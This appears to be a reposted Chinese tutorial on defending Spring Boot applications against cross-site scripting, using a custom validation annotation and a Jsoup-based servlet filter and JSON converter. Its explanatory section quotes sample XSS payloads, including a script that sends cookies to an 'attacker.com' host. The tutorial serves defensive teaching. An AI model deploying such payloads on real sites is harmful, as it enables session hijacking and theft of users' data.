SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)

文章目录

  • 引言
  • 一、XSS攻击概述
    • 1.1 XSS攻击的定义
    • 1.2 XSS攻击的类型
    • 1.3 XSS攻击的攻击原理及示例
  • 二、Spring Boot中的XSS防御手段
    • 2.1 使用注解进行XSS防御
      • 2.1.1 引入相关依赖
      • 2.1.2 使用@XSS注解进行参数校验
      • 2.1.3 实现自定义注解处理器
      • 2.1.4 使用注解
    • 2.2 使用过滤器进行XSS防御
      • 2.2.1 引入相关依赖
      • 2.2.2 编写配置类
      • 2.2.3 修改配置文件
      • 2.2.4 创建XSSFilter类
      • 2.2.5 编写过滤工具类
      • 2.2.6 编写XSSRequestWrapper类清理脚本
      • 2.2.7 自定义json消息解析器
  • 三、测试
      • 3.1 XSS注解:
      • 3.2 XSS过滤器
  • 四、总结

在这里插入图片描述

引言

随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。

本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。

一、XSS攻击概述

XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型:

  1. 存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
  2. 反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
  3. 基于DOM的XSS(DOM-based XSS):这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

可以参考:前端安全系列(一):如何防止XSS攻击? - 美团技术团队 (meituan.com)

示例:

  1. 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

  1. 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script>

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

  1. DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1);
document.write("欢迎, " + name);

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>

当用户访问此URL时,恶意脚本会被执行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。

2.1.1 引入相关依赖

    <!--JSR-303/JSR-380用于验证的注解 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-validation</artifactId>
            <version>3.2.0</version>
        </dependency>

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
    String message() default "非法输入, 检测到潜在的XSS";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:

public class XssValidator implements ConstraintValidator<Xss, String> {
    /**
     * 使用自带的 basicWithImages 白名单
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
     * 从而保持输入和输出内容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

    /**
     * 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。
     * 
     * @param value 输入值,需要进行XSS攻击脚本清理。
     * @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。
     * @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。
     */
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        // 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。
        // 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。
        String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
        
        // 比较清理后的值与原始值是否相同,用于判断输入值是否有效。
        return cleanedValue.equals(value);
    }

}

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:

@Data
@Tag(name = "用户",description = "用户登录类")
public class UserLoginDTO {

    @Xss
    @NotBlank(message = "账号不能为空")
    @Schema(name = "用户账号",type = "String")
    private String userAccount;

    @Xss
    @Size(min = 6, max = 18, message = "用户密码长度需在6-18位")
    @Schema(name = "用户密码",type = "String")
    private String password;

    @Xss
    @NotBlank(message = "邮箱验证码内容不能为空")
    @Schema(name = "邮箱验证码",type = "String")
    private String emailCaptcha;
}

Controller中的接口添加@Validated注解:

    @PostMapping("/test2")
    public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {
        return Result.success();
    }

2.2 使用过滤器进行XSS防御

2.2.1 引入相关依赖

<!-- Jsoup依赖 -->
<dependency>
   <groupId>org.jsoup</groupId>
   <artifactId>jsoup</artifactId>
   <version>1.17.2</version>
</dependency>

2.2.2 编写配置类

/**
 * 跨站脚本(XSS)过滤配置类。
 */
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
    /**
     * 是否启用XSS过滤。
     */
    private String enabled;

    /**
     * 需要排除的URL模式,这些URL不会进行XSS过滤。
     */
    private String excludes;

    /**
     * 需要应用XSS过滤的URL模式。
     */
    private String urlPatterns;

    /**
     * 注册XSS过滤器。
     *
     * @return FilterRegistrationBean 用于注册过滤器的bean。
     */
    @Bean
    public FilterRegistrationBean xssFilterRegistration() {
        FilterRegistrationBean registrationBean = new FilterRegistrationBean();
        // 设置过滤器的分发类型为请求类型
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
        // 创建XssFilter的实例
        registrationBean.setFilter(new XssFilter());
        // 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取
        registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
        // 设置过滤器的名称
        registrationBean.setName("XssFilter");
        // 设置过滤器的执行顺序,数值越小,优先级越高
        registrationBean.setOrder(9999);
        // 创建一个Map,用于存储过滤器的初始化参数
        Map<String, String> initParameters = new HashMap<>();
        // 将配置文件中的"excludes"属性设置到过滤器的初始化参数中
        initParameters.put("excludes", excludes);
        // 将配置文件中的"enabled"属性设置到过滤器的初始化参数中
        initParameters.put("enabled", enabled);
        // 将初始化参数设置到FilterRegistrationBean中
        registrationBean.setInitParameters(initParameters);
        // 返回FilterRegistrationBean,包含了XssFilter的配置信息
        return registrationBean;
    }
}

2.2.3 修改配置文件

xss:
  enabled: true
  excludes:
  url-patterns: /*

2.2.4 创建XSSFilter类

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@Slf4j
public class XssFilter implements Filter {
    /**
     * 存储需要排除XSS过滤的URL模式列表。
     */
    private List<String> excludes = new ArrayList<>();

    /**
     * 是否启用XSS过滤的标志。
     */
    private boolean enabled = false;

    /**
     * 初始化过滤器,从过滤器配置中读取排除列表和启用状态。
     *
     * @param filterConfig 过滤器配置对象。
     * @throws ServletException 如果初始化过程中出现错误。
     */
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String strExcludes = filterConfig.getInitParameter("excludes");
        String strEnabled = filterConfig.getInitParameter("enabled");
        //将不需要xss过滤的接口添加到列表中
        if (StringUtils.isNotEmpty(strExcludes)) {
            String[] urls = strExcludes.split(",");
            for (String url : urls) {
                excludes.add(url);
            }
        }
        if (StringUtils.isNotEmpty(strEnabled)) {
            enabled = Boolean.valueOf(strEnabled);
        }
    }

    /**
     * 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。
     *
     * @param request  HTTP请求对象。
     * @param response HTTP响应对象。
     * @param chain    过滤器链对象,用于继续或中断请求处理。
     * @throws IOException      如果处理过程中出现I/O错误。
     * @throws ServletException 如果处理过程中出现Servlet相关错误。
     */
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        //如果该访问接口在排除列表里面则不拦截
        if (isExcludeUrl(req.getServletPath())) {
            chain.doFilter(request, response);
            return;
        }

        log.info("uri:{}", req.getRequestURI());
        // xss 过滤
        chain.doFilter(new XssWrapper(req), resp);
    }

    /**
     * 销毁过滤器,释放资源。
     */
    @Override
    public void destroy() {
        // 无需额外的销毁逻辑
    }

    /**
     * 判断当前请求的URL是否应该被排除在XSS过滤之外。
     *
     * @param urlPath 请求的URL路径。
     * @return 如果请求应该被排除,则返回true;否则返回false。
     */
    private boolean isExcludeUrl(String urlPath) {
        if (!enabled) {
            //如果xss开关关闭了,则所有url都不拦截
            return true;
        }
        if (excludes == null || excludes.isEmpty()) {
            return false;
        }

        String url = urlPath;
        for (String pattern : excludes) {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find()) {
                return true;
            }
        }
        return false;
    }
}

2.2.5 编写过滤工具类

/**
 * XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护
 */
public class XssUtil {

    /**
     * 使用自带的 basicWithImages 白名单
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
     * 从而保持输入和输出内容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
    
    /*
      初始化白名单策略,允许所有标签拥有style属性。
      这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。
     */
    static {
        // 富文本编辑时一些样式是使用 style 来进行实现的
        // 比如红色字体 style="color:red;"
        // 所以需要给所有标签添加 style 属性
        WHITE_LIST.addAttributes(":all", "style");
    }
    
    /**
     * 清理输入的字符串,移除潜在的XSS攻击代码。
     * 
     * @param content 待清理的字符串,通常是用户输入的HTML内容。
     * @return 清理后的字符串,保证不包含XSS攻击代码。
     */
    public static String clean(String content) {
        // 使用定义好的白名单策略和输出设置清理输入的字符串
        return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
    }
}

2.2.6 编写XSSRequestWrapper类清理脚本

在XSSFilter类中,我们创建了一个新的XSSRequestWrapper类,该类继承自HttpServletRequestWrapper。在这个包装类中,我们将重写getParameter等方法,以清理请求参数中的潜在XSS脚本。


@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {
    /**
     * Constructs a request object wrapping the given request.
     *
     * @param request The request to wrap
     * @throws IllegalArgumentException if the request is null
     */
    public XssWrapper(HttpServletRequest request) {
        super(request);
        log.info("XssWrapper");
    }

    /**
     * 对数组参数进行特殊字符过滤
     */
    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }

    /**
     * 对参数中特殊字符进行过滤
     */
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (StrUtil.isBlank(value)) {
            return value;
        }
        return cleanXSS(value);
    }

    /**
     * 获取attribute,特殊字符过滤
     */
    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (value instanceof String && StrUtil.isNotBlank((String) value)) {
            return cleanXSS((String) value);
        }
        return value;
    }

    /**
     * 对请求头部进行特殊字符过滤
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (StrUtil.isBlank(value)) {
            return value;
        }
        return cleanXSS(value);
    }

    /**
     * 清理输入的字符串以防止XSS攻击
     *
     * @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。
     * @return 清理后的字符串,移除了可能的XSS攻击代码。
     */
    private String cleanXSS(String value) {
        return XssUtil.clean(value);
    }
}

2.2.7 自定义json消息解析器

在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。

可以参考文章:Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr


/**
 * 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器
 *
 */
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {

    /**
     * 从HTTP输入消息中读取对象,同时应用XSS防护。
     * 
     * @param type        类型令牌,表示要读取的对象类型。
     * @param contextClass    上下文类,提供类型解析的上下文信息。
     * @param inputMessage HTTP输入消息,包含要读取的JSON数据。
     * @return 从输入消息中解析出的对象,经过XSS防护处理。
     * @throws IOException 如果发生I/O错误。
     * @throws HttpMessageNotReadableException 如果消息无法读取。
     */
    @Override
    public Object read(Type type, Class contextClass,
                       HttpInputMessage inputMessage) throws IOException,
            HttpMessageNotReadableException {
        JavaType javaType = getJavaType(type, contextClass);
        Object obj = readJavaType(javaType, inputMessage);
        //得到请求json
        String json = super.getObjectMapper().writeValueAsString(obj);
        //过滤特殊字符
        String result = XssUtil.clean(json);
        Object resultObj = super.getObjectMapper().readValue(result, javaType);
        return resultObj;
    }

    /**
     * 从HTTP输入消息中读取指定Java类型的对象,内部使用。
     * 
     * @param javaType    要读取的对象的Java类型。
     * @param inputMessage HTTP输入消息,包含要读取的JSON数据。
     * @return 从输入消息中解析出的对象。
     * @throws IOException 如果发生I/O错误。
     * @throws HttpMessageNotReadableException 如果消息无法读取。
     */
    private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {
        try {
            return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);
        } catch (IOException ex) {
            throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);
        }
    }

    /**
     * 将对象写入HTTP输出消息,同时应用XSS防护。
     * 
     * @param object 要写入的对象。
     * @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。
     * @throws IOException 如果发生I/O错误。
     * @throws HttpMessageNotWritableException 如果消息无法写入。
     */
    @Override
    protected void writeInternal(Object object, HttpOutputMessage outputMessage)
            throws IOException, HttpMessageNotWritableException {
        //得到要输出的json
        String json = super.getObjectMapper().writeValueAsString(object);
        //过滤特殊字符
        String result = XssUtil.clean(json);
        // 输出
        outputMessage.getBody().write(result.getBytes());
    }
}

然后在启动类添加:

    @Bean
    public HttpMessageConverters xssHttpMessageConverters() {
        XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
        HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
        return new HttpMessageConverters(converter);
    }

三、测试

3.1 XSS注解:

如果不符合规则的字符(例如<script>alert('XSS');</script>)会提示非法输入,检测到潜在的XSS,可以看到下面的返回参数中的message已经变为默认警告。

image-20240705161416130

3.2 XSS过滤器

XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。

观察下面的测试结果可以知道过滤器成功实现参数清理。

image-20240705184611821

image-20240705184627058

四、总结

本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助😊。


参考文章:

SpringBoot 增加 XSS 跨站脚本攻击防护 | 小决的专栏 (jueee.github.io)

对xss攻击的防御 j · 看云 (kancloud.cn)

自定义注解XSS注解

Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/774852.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

现在这个行情怎么理解股票期权?一个守住底线的工具!

今天带你了解现在这个行情怎么理解股票期权&#xff1f;一个守住底线的工具&#xff01;股票期权是一种金融衍生品&#xff0c;给予持有者在未来特定时间以特定价格购买或出售股票的权利。 行情看down可以买入看跌期权&#xff0c;看跌期权的买方是因为预计行情的价格会在近期…

imx6ull/linux应用编程学习(11)CAN应用编程基础

关于裸机的can通信&#xff0c;会在其他文章发&#xff0c;这里主要讲讲linux上的can通信。 与I2C,SPI等同步通讯方式不同&#xff0c;CAN通讯是异步通讯&#xff0c;也就是没有时钟信号线来保持信号接收同步&#xff0c;也就是所说的半双工&#xff0c;无法同时发送与接收&…

【python】PyQt5控件尺寸大小位置,内容边距等API调用方法实战解析

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

小(微)间距P1.538COB渠道现货销售将加速全面升级替换SMD产品。

COB&#xff08;Chip on Board&#xff09;技术&#xff0c;如一颗璀璨的星辰&#xff0c;在上世纪60年代的科技夜空中悄然升起。它巧妙地将LED芯片镶嵌在PCB电路板的怀抱中&#xff0c;再用特种树脂为其披上一层坚韧的外衣&#xff0c;宛如一位精心雕琢的艺术家在创作一幅完美…

【Python机器学习】处理文本数据——用tf-idf缩放数据

为了按照我们预计的特征信息量大小来缩放特征&#xff0c;而不是舍弃那些认为不重要的特征&#xff0c;最常见的一种做法就是使用词频-逆向文档频率&#xff08;tf-idf&#xff09;。这一方法对某个特定文档中经常出现的术语给与很高的权重&#xff0c;但是堆在语料库的许多文档…

【UE5.1】Chaos物理系统基础——04 事件驱动粒子效果

目录 效果 步骤 一、炸开时的烟雾效果 二、炸开时的碎片效果 效果 步骤 一、炸开时的烟雾效果 1. 选中场景中的几何体集&#xff0c;勾选“通知中断”&#xff0c;这样当几何体集解体时就能产生一个事件&#xff1b;勾选“通知碰撞”&#xff0c;当几何体集检测到碰撞也能…

Java+前后端分离架构+ MySQL8.0.36产科信息管理系统 产科电子病历系统源码

Java前后端分离架构 MySQL8.0.36产科信息管理系统 产科电子病历系统源码 产科信息管理系统—住院管理 数字化产科住院管理是现代医院管理中的重要组成部分&#xff0c;它利用数字化技术优化住院流程&#xff0c;提升医疗服务质量和效率。以下是对数字化产科住院管理的详细阐述…

华火电燃喷火单灶再荣获中国质量认证中心 CQC 权威证书,引领行业新高度

近日&#xff0c;华火传来了一则令整个行业瞩目的重大喜讯&#xff1a;其电燃喷火单灶“再度”成功荣获中国质量认证中心&#xff08;CQC&#xff09;权威证书。这一里重大程碑式的成就&#xff0c;不仅是对华火产品卓越品质的高度认可&#xff0c;更是华火在品牌发展道路上的一…

网安小贴士(8)IPv4与IPv6

一、前言 IPv4和IPv6都是互联网协议&#xff08;IP&#xff09;的版本&#xff0c;它们用于在互联网上标识和定位设备。 二、定义 IPv4&#xff08;互联网协议第四版&#xff09;&#xff1a; IPv4是互联网协议的第一个广泛使用的版本&#xff0c;最初在1981年被标准化为RFC 7…

单位立方体各个面上的法向量,向量场以及每个面上的通量

单位立方体各个面上的法向量&#xff0c;向量场 F ( x , y , z ) \mathbf{F} (x, y, z) F(x,y,z) 以及每个面上的通量 flyfish 假设我们有一个单位立方体&#xff0c;向量场 F ( x , y , z ) \mathbf{F} (x, y, z) F(x,y,z) 在该立方体上。 法向量 &#xff1a;单位立方…

中霖教育:二建报名成功后怎么审核?

【中霖教育怎么样】【中霖教育靠谱吗】 在成功完成二级建造师资格考试的报名流程后&#xff0c;需要准备后续的审核阶段&#xff0c;审核是否通过关乎考生是否能顺利参加考试&#xff0c;审核的方式包括&#xff1a;现场审核、网络审核以及考试后的审核。 某些地区会要求考生…

空间数据获取与预处理指南:生产与科研应用

1.空间数据简介 2.免费的国外GIS数据下载方法 3.免费的国内GIS数据下载方法 4.遥感云平台数据的获取方法 5.专题数据的获取及预处理示例 (1)行政区划数据 (2)气象数据 (3)土壤数据 (4)遥感产品数据 (5)统计数据 (6)…… 原文链接https://mp.weixin.qq.com/s?__bizMz…

实验三 图像增强—灰度变换

一、实验目的&#xff1a; 1、了解图像增强的目的及意义&#xff0c;加深对图像增强的感性认识&#xff0c;巩固所学理论知识。 2、学会对图像直方图的分析。 3、掌握直接灰度变换的图像增强方法。 二、实验原理及知识点 术语‘空间域’指的是图像平面本身&#xff0c;在空…

【MySQL系列】隐式转换

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

构建Android studio版的CarSystemUI工程时因为包名一致导致BuildConfig问题

项目场景&#xff1a; 公司计划开发杰发AC8025-Android 12版本车载平台&#xff0c;前期预研需要构建Android studio版的CarSystemUI工程 问题描述 AAOS车载项目里面的CarSystemUI源码默认无Android studio版本&#xff0c;为了后期快速开发调试需要构建Android studio能直接…

python多线程与多进程开发实践及填坑记(1)

1. 需求分析 1.1. 概述 基于Flask、Pika、Multiprocessing、Thread搭建一个架构&#xff0c;完成多线程、多进程工作。具体需求如下&#xff1a; 并行计算任务&#xff1a;使用multiprocessing模块实现并行计算任务&#xff0c;提高计算效率、计算能力。消息侦听任务&#x…

大厂都在加急招人的大模型LLM,到底怎么学?

大模型如何入坑&#xff1f; 想要完全了解大模型&#xff0c;你首先要了解市面上的LLM大模型现状&#xff0c;学习Python语言、Prompt提示工程&#xff0c;然后深入理解Function Calling、RAG、LangChain 、Agents等 很多人不知道想要自学大模型&#xff0c;要按什么路线学&a…

电脑刚删除的文件怎么恢复?可使用这几种恢复方法!

在日常生活和工作中&#xff0c;我们时常会在电脑上进行各种文件操作&#xff0c;包括删除不需要的文件。然而&#xff0c;有时候我们可能会误删一些重要的文件&#xff0c;或者在删除后立刻意识到这些文件的重要性。 那么&#xff0c;电脑刚删除的东西怎么恢复呢&#xff1f;本…

神领物流项目第一天

文章目录 聚焦快递领域首先第一个是验证码模块流程登录接口权限管家 聚焦快递领域 首先第一个是验证码模块流程 首先生成验证码的流程 可以使用工具类去生成验证码 LineCaptcha lineCaptcha CaptchaUtil.createLineCaptcha(160, 60, 4, 26);// 获取值然后存入redis中 strin…

WEB04MyBatis

Mybatis mybatis查询 准备 准备工作 在目前的数据库中添加一张数据表emp 将资料中提供的day04-01-mybatis导入的目前的工程中 修改配置文件中的数据库的账户和密码 观察实体类中的属性和数据表中的字段的对应关系 查询结果封装 查询所有 SQL语句 select * from emp; …